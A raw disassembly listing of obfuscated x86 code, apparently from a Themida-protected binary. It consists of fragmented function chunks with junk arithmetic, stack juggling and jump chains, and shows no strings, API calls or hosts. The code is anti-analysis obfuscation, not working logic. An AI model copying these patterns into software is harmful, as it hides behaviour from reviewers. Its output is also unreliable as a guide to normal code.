; ---------------------------------------------------------------------------


loc_55E299:				; CODE XREF: sub_562ABA+CA7Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2+var_4+2]
		pop	esp
		pop	ebx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55E2AE:				; CODE XREF: sub_562ABA+7849j
		mov	[esp-6+arg_0+2], ecx
		push	[esp-6+arg_4+2]
		push	dword ptr [esp+0]
		push	[esp+2+var_4+2]
		pop	ecx
		add	esp, 4
		jmp	loc_570963
; ---------------------------------------------------------------------------


loc_55E2C7:				; CODE XREF: sub_562ABA-410Fj
		sub	ebp, 1D665808h
		jmp	loc_560C38
; ---------------------------------------------------------------------------


loc_55E2D2:				; CODE XREF: sub_562ABA+7C0Cj
		mov	edx, [esp+0]
		add	esp, 4
		mov	ecx, [esp-6+arg_0+2]
		push	ebx
		jmp	loc_56A747
; ---------------------------------------------------------------------------


loc_55E2E1:				; CODE XREF: sub_562ABA-BFEj
		mov	esp, [esp+0]
		pop	dword ptr [esp+0]
		mov	esp, [esp-6+arg_0+2]
		sub	byte ptr [esp-6+arg_0+2], al
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55E2F3:				; CODE XREF: sub_562ABA+CAF4j
		mov	ebp, [esp+0]
		add	esp, 4
		pop	[esp-6+arg_0+2]
		mov	esp, [esp-0Ah+arg_4+2]
		mov	cx, word ptr [esp-0Ah+arg_4+2]
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebp
		mov	ebp, esp
		jmp	loc_5716CC
; ---------------------------------------------------------------------------


loc_55E316:				; CODE XREF: sub_562ABA+DDAFj
		pop	esp
		add	esi, 4
		push	edi
		mov	edi, 2
		jmp	loc_560C78
; ---------------------------------------------------------------------------


loc_55E328:				; CODE XREF: sub_562ABA-37C8j
		mov	ecx, 680A06FEh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_56063D
; ---------------------------------------------------------------------------


loc_55E335:				; CODE XREF: sub_562ABA+BAD9j
		add	dword ptr [edx+30h], 576C5C41h
		push	[esp-0Ah+arg_4+2]
		pop	ecx
		jmp	loc_56997A
; ---------------------------------------------------------------------------


loc_55E345:				; CODE XREF: sub_562ABA+2AB4j
		push	ecx
		mov	ecx, 2EA633FFh
		jmp	loc_565BC6
; ---------------------------------------------------------------------------


loc_55E350:				; CODE XREF: sub_562ABA-20E9j
		xor	eax, 673865EFh
		xor	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 24522D7Eh
		sub	ebx, edi
		pop	edi
		add	ebx, eax
		add	ebx, 24522D7Eh
		pop	eax
		push	ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		sub	ebx, 206846E2h
		add	ebx, ebp
		add	ebx, 206846E2h
		pop	ebp
		xchg	ebx, [esp-0Eh+arg_8+2]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56C9D3
; ---------------------------------------------------------------------------


loc_55E395:				; CODE XREF: sub_562ABA+DA55j
		push	cx
		jmp	loc_56DD26
; ---------------------------------------------------------------------------


loc_55E39C:				; CODE XREF: sub_562ABA+D3j
		push	edi
		push	ecx
		jmp	loc_56C796
; ---------------------------------------------------------------------------


loc_55E3A3:				; CODE XREF: sub_562ABA+5869j
		xor	esi, 2B8B06B4h
		inc	esi
		jmp	loc_56E645
; ---------------------------------------------------------------------------


loc_55E3AF:				; CODE XREF: sub_562ABA+5DA0j
		pop	ecx
		add	eax, esi
		push	[esp-8+arg_4]
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		add	esp, 4
		add	eax, 79E34012h
		add	eax, edx
		push	ebx
		mov	ebx, 4E374A3Ch
		jmp	loc_55F543
; ---------------------------------------------------------------------------


loc_55E3D3:				; CODE XREF: sub_562ABA+C954j
		add	ebx, 1C528EDDh
		sub	eax, ebx
		jmp	loc_5698B5
; ---------------------------------------------------------------------------


loc_55E3E0:				; CODE XREF: sub_562ABA+EC69j
		add	[esp-8+arg_8], ecx
		sub	[esp-8+arg_8], 7A174273h
		pop	ecx
		pop	edx
		push	0D0Ah
		mov	[esp-0Ch+arg_8], eax
		push	ecx
		mov	ecx, 3E892F68h
		mov	eax, 0D67DF256h
		jmp	loc_56036F
; ---------------------------------------------------------------------------


loc_55E406:				; CODE XREF: sub_562ABA+14FBj
		push	714Fh
		mov	[esp-4+arg_0], ebx
		sub	[esp-4+arg_0], 0FFFFFFFFh
		pop	ebx
		sub	ebx, 6B3516A8h
		sub	ebx, 0B6E0263Fh
		jmp	loc_57029E
; ---------------------------------------------------------------------------


loc_55E427:				; CODE XREF: sub_562ABA-16DAj
		pop	esp
		mov	[esp-0Ch+arg_8], ecx
		push	edx
		mov	edx, 745D60B0h
		push	edx
		mov	edx, 70C86596h
		mov	ecx, 994C97EDh
		sub	ecx, edx
		jmp	loc_56585A
; ---------------------------------------------------------------------------


loc_55E443:				; CODE XREF: sub_562ABA+B36Cj
		mov	word ptr [esp-4+arg_0],	ax
		jmp	sub_55F392
; ---------------------------------------------------------------------------


loc_55E44C:				; CODE XREF: sub_562ABA+CABCj
		push	[esp-4+arg_4]
		pop	edi
		pop	[esp-4+arg_0]
		jmp	loc_56312C
; ---------------------------------------------------------------------------


loc_55E459:				; CODE XREF: sub_562ABA-493Dj
		mov	edi, 4
		add	[esp+0Ah+var_8+2], edi
		pop	edi
		mov	esi, [esp+6+var_8+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 54AB70CEh
		or	esi, 6436378h
		not	esi
		jmp	loc_55F692
; ---------------------------------------------------------------------------


loc_55E482:				; CODE XREF: sub_562ABA+C555j
		not	ecx
		push	eax
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		push	[esp+16h+var_16]
		pop	eax
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebx
		push	2223h
		mov	[esp+1Eh+var_1E], esp
		add	[esp+1Eh+var_1E], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56BA0F
; ---------------------------------------------------------------------------


loc_55E4B6:				; CODE XREF: sub_562ABA-21Cj
		push	eax
		push	[esp+1Eh+var_1A]
		mov	eax, [esp+22h+var_22]
		jmp	loc_560A01
; ---------------------------------------------------------------------------


loc_55E4C3:				; CODE XREF: sub_562ABA+E110j
		add	[esp+22h+var_1E], edi
		sub	[esp+22h+var_1E], 61842231h
		jmp	loc_55E941
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55E4D4	proc near		; CODE XREF: sub_562ABA-3F0Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055F3BD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056210A SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 30A158DEh
		shr	ebp, 4
		jmp	loc_56210A
sub_55E4D4	endp

; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_56B01F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E4F0:				; CODE XREF: sub_562ABA+C70j
		add	esp, 4
		add	esp, 4
		xchg	eax, [esp+1Ah+var_1A]
		pop	esp
		jmp	loc_55FE03
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55E502	proc near		; CODE XREF: sub_562ABA+3BA9j

; FUNCTION CHUNK AT 0055E9CE SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 4A420A84h
		jmp	loc_55E9CE
sub_55E502	endp


; =============== S U B	R O U T	I N E =======================================



sub_55E50D	proc near		; CODE XREF: sub_562ABA+3B15j
		push	ebx
		jmp	loc_567B48
sub_55E50D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E513:				; CODE XREF: sub_562ABA+522Dj
		add	ebx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, ebx
		mov	[ecx], dh
		jmp	loc_564F7C
; ---------------------------------------------------------------------------


loc_55E524:				; CODE XREF: sub_562ABA+4B3Dj
		push	7A0Bh
		mov	[esp+1Eh+var_1E], ecx
		jmp	loc_56BFF1
; ---------------------------------------------------------------------------


loc_55E531:				; CODE XREF: sub_562ABA+F4AEj
		add	ebp, 4
		sub	esp, 4
		mov	[esp+22h+var_22], edi
		mov	edi, 4FF37C13h
		push	7C91h
		mov	[esp+26h+var_28+2], ecx
		push	esi
		push	6B1D70DDh
		mov	esi, [esp]
		jmp	loc_568C5A
; ---------------------------------------------------------------------------


loc_55E55B:				; CODE XREF: sub_562ABA+415Cj
		push	ecx
		mov	ecx, 283E4E72h
		push	ebp
		jmp	loc_564557
; ---------------------------------------------------------------------------


loc_55E567:				; CODE XREF: sub_561D56+13j
					; sub_562ABA+B441j
		push	74B7h
		mov	[esp+3Ah+var_3A], ebx
		mov	eax, [esp+3Ah+var_3A]
		push	edi
		jmp	loc_567C60
; ---------------------------------------------------------------------------


loc_55E578:				; CODE XREF: sub_562ABA+32FBj
		add	esi, eax
		sub	esi, 2B1B094Ah
		mov	eax, [esp+3Eh+var_3E]
		add	esp, 4
		xchg	esi, [esp+3Ah+var_3A]
		jmp	loc_56CF7C
; ---------------------------------------------------------------------------


loc_55E591:				; CODE XREF: sub_562ABA+1A42j
		xchg	esi, [esp+3Ah+var_3A]
		jmp	loc_56BBC5
; ---------------------------------------------------------------------------


loc_55E599:				; CODE XREF: sub_562ABA+41j
		pop	esp
		jmp	loc_562755
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3FE2h
		mov	[esp], edi
		push	esi
		push	5D8Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebx
		jmp	loc_56BA40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E5C2:				; CODE XREF: sub_562ABA-3EC4j
		add	eax, 73D19E1h
		push	ebx
		push	13E4h
		mov	[esp+3Eh+var_3E], esi
		mov	esi, 32521C99h
		dec	esi
		sub	esi, 0D7C4C38Fh
		mov	ebx, esi
		jmp	loc_563C96
; ---------------------------------------------------------------------------


loc_55E5E3:				; CODE XREF: sub_562ABA+51A1j
		push	[esp+3Eh+var_3E]
		mov	ebx, [esp+42h+var_42]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_566D02
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_55E5F7:				; CODE XREF: sub_55FCA5+3F2j
		sub	edx, esi
		pop	esi
		add	ebx, edx
		pop	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebp
		mov	ebp, 4
		jmp	loc_563E24
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E61A:				; CODE XREF: sub_562ABA+810Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4Ah+var_4A]
		jmp	loc_5678F8
; ---------------------------------------------------------------------------


loc_55E62E:				; CODE XREF: sub_562ABA+6B71j
		mov	eax, 3BA5592Bh
		jmp	loc_572529
; ---------------------------------------------------------------------------


loc_55E638:				; CODE XREF: sub_562ABA+8E36j
		add	eax, 4
		jmp	loc_56BB54
; ---------------------------------------------------------------------------


loc_55E642:				; CODE XREF: sub_562ABA-4435j
		pop	eax
		add	edx, 53354D56h
		jmp	loc_564D3F
; ---------------------------------------------------------------------------


loc_55E64E:				; CODE XREF: sub_562ABA+5B77j
		and	edx, 2525438h
		xchg	edi, edx
		neg	edi
		jmp	loc_56075D
; ---------------------------------------------------------------------------


loc_55E65D:				; CODE XREF: sub_562ABA+253Dj
		mov	ebx, 2C351235h
		jmp	loc_572919
; ---------------------------------------------------------------------------


loc_55E667:				; CODE XREF: sub_562ABA+2CEj
		popa
		retn
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_55E669:				; DATA XREF: Themida_:0055DDBCo
		push	eax
		push	2528462Bh
		pop	eax
		push	ecx
		jmp	loc_56A3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E676:				; CODE XREF: sub_562ABA+45CDj
		xor	ebp, edi
		pop	edi
		jmp	loc_56F232
; ---------------------------------------------------------------------------


loc_55E67E:				; CODE XREF: sub_562ABA+667j
		mov	eax, 34925880h
		xor	edx, eax
		jmp	loc_55E642
; ---------------------------------------------------------------------------


loc_55E68A:				; CODE XREF: sub_562ABA+FD7Fj
		pop	esi
		add	esp, 4
		sub	esi, 43934574h
		jmp	loc_5685BD
; ---------------------------------------------------------------------------


loc_55E699:				; CODE XREF: sub_562ABA+7FBEj
		sub	ecx, 7E120F24h
		jmp	loc_56A8D7
; ---------------------------------------------------------------------------


loc_55E6A4:				; CODE XREF: sub_562ABA-1A69j
		add	ecx, 2
		jmp	loc_5633E8
; ---------------------------------------------------------------------------


loc_55E6AC:				; CODE XREF: sub_562ABA+D487j
		add	ecx, 64F57E56h
		jmp	loc_56A3ED
; ---------------------------------------------------------------------------


loc_55E6B7:				; CODE XREF: sub_562ABA+C730j
		add	ebx, eax
		pop	eax
		push	ebp
		push	esi
		push	edx
		jmp	loc_56C5E2
; ---------------------------------------------------------------------------


loc_55E6C2:				; CODE XREF: sub_562ABA+3BF5j
		mov	[esp+22h+var_22], ecx
		mov	ecx, 46DE596Ch
		sub	ecx, 46DE5968h
		sub	ebx, 3F790B41h
		sub	ebx, 19B62AC7h
		add	ebx, ecx
		jmp	loc_567224
; ---------------------------------------------------------------------------


loc_55E6E3:				; CODE XREF: sub_562ABA+DEE7j
		sub	ebp, eax
		jmp	loc_560982
; ---------------------------------------------------------------------------


loc_55E6EA:				; CODE XREF: sub_562ABA+2277j
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_562A13
; ---------------------------------------------------------------------------


loc_55E6F8:				; CODE XREF: sub_562ABA+E568j
		add	[esp+22h+var_22], 4
		jmp	loc_56FB67
; ---------------------------------------------------------------------------


loc_55E704:				; CODE XREF: sub_562ABA+1F6Dj
		add	esp, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+1Ah+var_1A]
		pop	esp
		mov	ax, word ptr [esp+16h+var_16]
		push	ecx
		push	7E5Bh
		mov	[esp+1Eh+var_1E], esp
		add	[esp+1Eh+var_1E], 4
		mov	ecx, [esp+1Eh+var_1E]
		jmp	loc_5661D1
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55E72D	proc near		; CODE XREF: sub_562ABA+DCD7j
		push	ebp
		mov	ebp, 3CE74F04h
		push	eax
		mov	eax, ebp
		mov	esi, eax
		jmp	loc_563CC1
sub_55E72D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E73D:				; CODE XREF: sub_562ABA+B715j
		push	eax
		not	[esp+22h+var_22]
		jmp	loc_562E9F
; ---------------------------------------------------------------------------


loc_55E746:				; CODE XREF: sub_562ABA-1D42j
		add	[esp+22h+var_22], 4
		jmp	loc_568229
; ---------------------------------------------------------------------------


loc_55E74F:				; CODE XREF: sub_562ABA+EB0Bj
		sub	eax, 0DCCD48EBh
		jmp	loc_56954E
; ---------------------------------------------------------------------------


loc_55E759:				; CODE XREF: sub_562ABA+F74Fj
		add	ecx, 4
		push	ebx
		mov	ebx, 39661CC5h
		push	ebp
		push	ebx
		mov	ebx, 70EF433Dh
		inc	ebx
		add	ebx, 361A2F3Dh
		neg	ebx
		add	ebx, 45CC44E9h
		xor	ebx, 0BF7CB1B8h
		push	416h
		mov	[esp+32h+var_32], ebx
		add	[esp+32h+var_32], 24E504CCh
		pop	ebp
		sub	ebp, 24E504CCh
		pop	ebx
		sub	ebx, ebp
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	7945h
		jmp	loc_567CEC
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FCA5


loc_55E7AD:				; CODE XREF: sub_55FCA5+1574j
		push	edi
		mov	edi, 4A56728Eh
		inc	edi
		jmp	loc_569179
; END OF FUNCTION CHUNK	FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E7B9:				; CODE XREF: sub_562ABA+B013j
		mov	[esp+2Ah+var_2C+2], esi
		push	[esp+2Ah+var_2C+2]
		pop	edx
		add	esp, 4
		push	[esp+26h+var_28+2]
		pop	esi
		jmp	loc_571266
; ---------------------------------------------------------------------------


loc_55E7CF:				; CODE XREF: sub_562ABA+3111j
		add	edi, ecx
		pop	ecx
		jmp	loc_564F4B
; ---------------------------------------------------------------------------


loc_55E7D7:				; CODE XREF: sub_562ABA+7A9Bj
		add	esi, 0E076D2A3h
		add	edi, esi
		jmp	loc_56A3D9
; ---------------------------------------------------------------------------


loc_55E7E4:				; CODE XREF: sub_562ABA-1AC1j
		pop	esi
		pop	edi
		shr	esi, 5
		sub	esi, 1
		push	ebp
		jmp	loc_567B21
; ---------------------------------------------------------------------------


loc_55E7F5:				; CODE XREF: sub_562ABA-C0Cj
		add	[esp+1Eh+var_1A], esi
		pop	esi
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_56C55B
; ---------------------------------------------------------------------------


loc_55E809:				; CODE XREF: sub_562ABA+6ECDj
		mov	ebx, eax
		jmp	loc_5678E1
; ---------------------------------------------------------------------------


loc_55E810:				; CODE XREF: sub_562ABA+5075j
		add	esi, ebp
		jmp	loc_56AE39
; ---------------------------------------------------------------------------


loc_55E817:				; CODE XREF: sub_562ABA+EFCCj
		push	ecx
		mov	ecx, 57007B02h
		jmp	loc_56ECCA
; ---------------------------------------------------------------------------


loc_55E822:				; CODE XREF: sub_562ABA+CA64j
		pop	eax
		add	eax, ebp
		pop	ebp
		jmp	loc_571051
; ---------------------------------------------------------------------------


loc_55E82B:				; CODE XREF: sub_562ABA-56Fj
		xor	ecx, esi
		pop	esi
		xor	edx, ecx
		pop	ecx
		push	esi
		jmp	loc_563FEA
; ---------------------------------------------------------------------------


loc_55E837:				; CODE XREF: sub_562ABA+8758j
		pop	ebp
		jmp	loc_56FB2F
; ---------------------------------------------------------------------------


loc_55E83D:				; CODE XREF: sub_562ABA+286Cj
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, 3BF701C2h
		add	ecx, esi
		add	ecx, 3BF701C2h
		pop	esi
		jmp	loc_5710EE
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55E85D	proc near		; CODE XREF: sub_562ABA-2E6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, 777A13A8h
		sub	eax, ebp
		mov	ebp, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56A40F
sub_55E85D	endp


; =============== S U B	R O U T	I N E =======================================



sub_55E87E	proc near		; CODE XREF: sub_562ABA+15F0j
		push	ebp
		mov	ebp, 71A61C9Bh
		shr	ebp, 7
		inc	ebp
		xor	ebp, 299263B0h
		add	edx, ebp
		jmp	loc_5634D8
sub_55E87E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E895:				; CODE XREF: sub_562ABA+4CE2j
		and	eax, ebx
		pop	ebx
		sub	eax, 493A6A13h
		or	eax, 72B44E80h
		inc	eax
		xor	eax, 0FC058552h
		mov	edi, eax
		pop	eax
		jmp	loc_57263C
; ---------------------------------------------------------------------------


loc_55E8B0:				; CODE XREF: sub_562ABA-1A5Bj
		pop	eax
		pop	dword ptr [esp+0]
		jmp	loc_564BCB
; ---------------------------------------------------------------------------


loc_55E8B9:				; CODE XREF: sub_562ABA+C1AEj
		dec	bh
		not	bh
		push	edx
		push	3CE8h
		mov	[esp+2+var_4+2], ebx
		mov	bl, 9Dh
		push	cx
		mov	ch, 0F7h
		jmp	loc_56ED86
; ---------------------------------------------------------------------------


loc_55E8D1:				; CODE XREF: sub_562ABA-D91j
		sub	al, bh
		pop	ebx
		push	470Ch
		jmp	loc_56B8B9
; ---------------------------------------------------------------------------


loc_55E8DE:				; CODE XREF: sub_562ABA+3819j
		inc	ebx
		neg	ebx
		push	esi
		mov	esi, 41D96EB1h
		jmp	loc_561A63
; ---------------------------------------------------------------------------


loc_55E8EC:				; CODE XREF: sub_562ABA+35FAj
		neg	esi
		or	esi, 24AC15FAh
		and	esi, 5929196Ch
		jmp	loc_566AE4
; ---------------------------------------------------------------------------


loc_55E8FF:				; CODE XREF: sub_562ABA+4CEFj
		neg	edx
		push	esi
		mov	esi, 3F185231h
		neg	esi
		shl	esi, 1
		or	esi, 13E2197Fh
		xor	esi, 93EF5BFEh
		add	edx, esi
		pop	esi
		dec	edx
		xor	edx, 0A18DC472h
		push	edx
		sub	esp, 4
		mov	[esp+10h+var_12+2], ecx
		mov	ecx, 0F5A1BCCh
		xor	[esp+10h+var_C], ecx
		pop	ecx
		pop	esi
		xor	esi, 0F5A1BCCh
		pop	edx
		xchg	eax, esi
		push	edx
		jmp	sub_55F660
; ---------------------------------------------------------------------------


loc_55E941:				; CODE XREF: sub_562ABA-45EBj
		pop	edi
		pop	ebp
		jmp	loc_562E72
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722B7


loc_55E948:				; CODE XREF: sub_5722B7+Fj
		mov	edx, ebp
		pop	ebp
		add	ebp, edx
		jmp	loc_5701F4
; END OF FUNCTION CHUNK	FOR sub_5722B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E952:				; CODE XREF: sub_562ABA+7FCAj
		xor	ebp, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		push	dword ptr [eax]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55E95F:				; CODE XREF: sub_562ABA+9EDDj
		push	esi
		jmp	loc_562354
; ---------------------------------------------------------------------------


loc_55E965:				; CODE XREF: sub_562ABA+BD06j
		inc	edi
		dec	edi
		add	edi, 0C302DFC9h
		jmp	loc_565390
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_55E972	proc near		; CODE XREF: sub_562ABA+D9F8j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_562C16
sub_55E972	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E987:				; CODE XREF: sub_562ABA+1793j
		push	3775h
		jmp	loc_562913
; ---------------------------------------------------------------------------


loc_55E991:				; CODE XREF: sub_562ABA+7A5Aj
		pop	ecx
		pop	[esp+22h+var_22]
		pop	esp
		jmp	loc_56DA1C
; ---------------------------------------------------------------------------


loc_55E99B:				; CODE XREF: sub_562ABA+9D2Bj
		pop	eax
		push	ebp
		mov	ebp, 62FD0328h
		push	eax
		mov	eax, 2E5D59A9h
		sub	ebp, eax
		pop	eax
		jmp	loc_55E2C7
; ---------------------------------------------------------------------------


loc_55E9B0:				; CODE XREF: sub_562ABA-253Bj
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		push	ecx
		jmp	loc_56612A
; ---------------------------------------------------------------------------


loc_55E9BF:				; CODE XREF: sub_562ABA+C108j
		not	ebx
		push	edi
		mov	edi, 3407B187h
		xor	ebx, edi
		jmp	loc_565CA5
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E502


loc_55E9CE:				; CODE XREF: sub_55E502+6j
		shl	ebx, 3
		shr	ebx, 6
		add	ebx, 1
		jmp	loc_567B3D
; END OF FUNCTION CHUNK	FOR sub_55E502
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_55E9DF:				; CODE XREF: sub_562ABA+73B9j
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp+1Eh+var_1E]
		pop	esp
		xor	esi, [esp+1Ah+var_1A]
		xor	[esp+1Ah+var_1A], esi
		jmp	loc_56EBC7
; ---------------------------------------------------------------------------


loc_55E9F5:				; CODE XREF: sub_562ABA+8AEj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ah+var_1A]
		pop	esp
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_56A34D
; ---------------------------------------------------------------------------


loc_55EA13:				; CODE XREF: sub_562ABA-1683j
		mov	[esp+16h+var_16], ebp
		jmp	loc_567C92
; ---------------------------------------------------------------------------


loc_55EA1B:				; CODE XREF: sub_562ABA+C9C1j
		mov	esp, [esp+16h+var_16]
		mov	[esp+16h+var_16], ebx
		add	[esp+16h+var_16], 41F54151h
		pop	edx
		jmp	loc_5706E6
; ---------------------------------------------------------------------------


loc_55EA2E:				; CODE XREF: sub_562ABA-1C22j
		add	ebx, 38F318A0h
		sub	esp, 4
		mov	[esp+16h+var_16], ebp
		push	edx
		push	16C2419Bh
		jmp	loc_56E717
; ---------------------------------------------------------------------------


loc_55EA48:				; CODE XREF: sub_562ABA+49C2j
		xor	[esp+1Eh+var_1E], 71F23037h
		pop	eax
		push	esi
		jmp	loc_563116
; ---------------------------------------------------------------------------


loc_55EA56:				; CODE XREF: sub_562ABA+F4A3j
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_5679E8
; ---------------------------------------------------------------------------


loc_55EA5E:				; CODE XREF: sub_562ABA-3893j
		push	[esp+1Eh+var_1A]
		push	[esp+22h+var_22]
		jmp	loc_56FE4D
; ---------------------------------------------------------------------------


loc_55EA6A:				; CODE XREF: sub_562ABA-E09j
		push	dword ptr [edi+eax*4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_564249
; ---------------------------------------------------------------------------


loc_55EA81:				; CODE XREF: sub_562ABA+880Cj
		sub	ebx, edi
		mov	edi, [esp+0]
		add	esp, 4
		and	ebx, 3C9B0F88h
		and	ebx, 73413378h
		push	ebp
		mov	ebp, 38681979h
		push	edx
		mov	edx, 0BFB04DFh
		neg	edx
		dec	edx
		inc	edx
		and	edx, 75602844h
		xor	edx, 37516E41h
		add	ebp, edx
		pop	edx
		or	ebx, ebp
		pop	ebp
		add	ebx, 0FFFFFFFFh
		jmp	loc_566BF7
; ---------------------------------------------------------------------------


loc_55EAC2:				; CODE XREF: sub_562ABA+A471j
		xor	ebx, 7FA22EF1h
		xor	ebp, ebx
		pop	ebx
		add	ebp, 3387EAAh
		add	ebp, 3F6EF94Fh
		add	edi, ebp
		pop	ebp
		xor	edi, [esp+22h+var_22]
		xor	[esp+22h+var_22], edi
		xor	edi, [esp+22h+var_22]
		pop	esp
		shr	word ptr [esp+1Eh+var_1E], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_55EAEE:				; CODE XREF: sub_562ABA+4AD4j
		pop	ecx
		push	edx
		mov	edx, 65963958h
		push	esi
		push	eax
		push	0B4049BBh
		pop	eax
		or	eax, 56C307B7h
		jmp	loc_55F62A
; ---------------------------------------------------------------------------


loc_55EB07:				; CODE XREF: sub_562ABA-2F3Fj
		add	edi, ecx
		sub	edi, 6E9E55B7h
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp+0]
		add	esp, 4
		add	edi, 4
		push	eax
		mov	eax, 332B5C46h
		dec	eax
		shr	eax, 5
		or	eax, 676C00E2h
		shr	eax, 1
		xor	eax, 33FEAD75h
		sub	edi, eax
		mov	eax, [esp+0]
		add	esp, 4
		xchg	edi, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		mov	[esp+2Ah+var_2C+2], ebp
		mov	ebp, 286210BFh
		jmp	loc_56E65E
; ---------------------------------------------------------------------------


loc_55EB54:				; CODE XREF: sub_562ABA+7245j
		mov	[esp+2Ah+var_2C+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+2Ah+var_2C+2]
		jmp	loc_567BE7
; ---------------------------------------------------------------------------


loc_55EB6D:				; CODE XREF: sub_562ABA-47Dj
		mov	ebx, 6978322Ah
		push	ecx
		mov	ecx, 16D9502Ch
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 52C37951h
		jmp	sub_55EE90
; ---------------------------------------------------------------------------


loc_55EB90:				; CODE XREF: sub_562ABA-39D4j
		add	ebx, 5E092043h
		sub	ebx, eax
		sub	esp, 4
		mov	[esp+32h+var_32], esi
		mov	esi, 4E6B220Fh
		shl	esi, 5
		or	esi, 1D9D5D2Fh
		jmp	sub_55E4D4
; ---------------------------------------------------------------------------


loc_55EBB4:				; CODE XREF: sub_562ABA+5425j
		sub	edx, 1ED822ACh
		add	edx, ebp
		push	ebp
		mov	ebp, 1ED822ACh
		add	edx, ebp
		pop	ebp
		jmp	loc_56ACD5
; ---------------------------------------------------------------------------


loc_55EBCA:				; CODE XREF: sub_562ABA+947j
		add	[esp+32h+var_32], 13D70B38h
		pop	edi
		sub	edi, 13D70B38h
		push	dword ptr [esp+0]
		jmp	loc_5716F0
